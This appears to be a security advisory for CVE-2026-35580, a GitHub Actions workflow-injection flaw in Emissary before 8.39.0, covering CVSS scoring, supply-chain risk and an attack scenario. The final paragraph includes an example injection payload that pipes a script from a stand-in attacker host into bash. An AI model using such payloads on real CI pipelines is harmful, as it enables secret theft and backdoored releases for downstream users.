Emissary CVE-2026-35580

Attacker requires repository write access to Emissary versions prior to 8.39.0. Attacker injects malicious shell commands via workflow_dispatch inputs in GitHub Actions workflow files using ${{ }} expression syntax, poisoning the repository and affecting downstream users.

This Critical-severity vulnerability presents significant supply chain risk despite requiring high privileges (PR:H). The CVSS 9.1 score reflects Network attack vector (AV:N), Low complexity (AC:L), and Changed scope with High impact across confidentiality, integrity, and availability. While authenticated access (repository write permissions) is mandatory, many development teams grant broad write access to contributors, increasing the threat surface. The Changed scope is particularly concerning: successful exploitation enables attackers to poison the repository with malicious code that propagates to all users who clone, build, or depend on Emissary. No CISA KEV listing or EPSS data provided, and no public proof-of-concept identified, suggesting exploitation has not been observed in the wild. However, the technical barrier is low once write access is obtained, and GitHub Actions injection vulnerabilities are well-documented attack patterns. Priority should be HIGH for organizations using Emissary in CI/CD pipelines or distributing it to downstream consumers, as the supply chain impact could be widespread. Organizations without direct Emissary usage but consuming NSA-released software should verify they are using post-patch versions.

An attacker with write access to the Emissary GitHub repository (e.g., a compromised developer account or malicious insider) creates or modifies a workflow file to include a workflow_dispatch trigger accepting user input. The attacker crafts the workflow to interpolate this input directly into a shell command using GitHub Actions ${{ }} expression syntax, such as 'run: echo ${{ github.event.inputs.user_data }} | process_data.sh'. The attacker then triggers the workflow with a malicious payload like 'dummy; curl attacker.com/exfil.sh | bash; #' which executes arbitrary commands on the GitHub Actions runner. This grants the attacker access to repository secrets, ability to modify build artifacts, inject backdoors into release binaries, or exfiltrate sensitive data. Downstream users who consume the compromised Emissary releases inherit the malicious code, creating a supply chain compromise with broad impact across the user base.